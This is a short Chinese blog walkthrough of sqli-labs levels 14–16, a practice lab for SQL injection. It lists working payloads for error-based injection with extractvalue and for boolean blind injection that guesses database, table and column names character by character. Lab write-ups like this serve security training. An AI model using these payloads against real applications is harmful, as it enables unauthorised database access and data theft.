sqli-labs通关(十四)(十五)(十六)

文章讲述了利用SQL注入技术进行数据库探测的过程,包括通过报错信息发现注入点,使用双引号闭合进行测试,进行布尔盲注以猜测数据库名、表名和列名的长度及具体字符,涉及extractvalue、length、substr、ascii等函数的应用。
摘要由CSDN通过智能技术生成

第十四关

 输入1",出现如下报错信息,告诉我们要双引号闭合

 所以我们输入

1" or 1=1#

 没有任何返回信息,这一关和十三关一样,利用报错信息爆出数据

1" and extractvalue(1,concat(0x7e,(select database())))#

 

第十五关

 输入1'是这样的

输入1' or 1=1#是这样的,所以这是一个布尔盲注

 猜库名长度

1' or length((select database()))=8#

 逐一猜库名,对应ASCII码表

1' or ascii(substr((select database()),1,1))=115#

 猜表名长度

1' or length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=29#

逐一猜表名

1' or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101#

猜列名长度

1' or length((select group_concat(column_name) from information_schema.columns where table_name='users'))=29#

第十六关

这一关跟第十五个的区别就是闭合是双引号和一个括号,其他跟第十五关一样

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值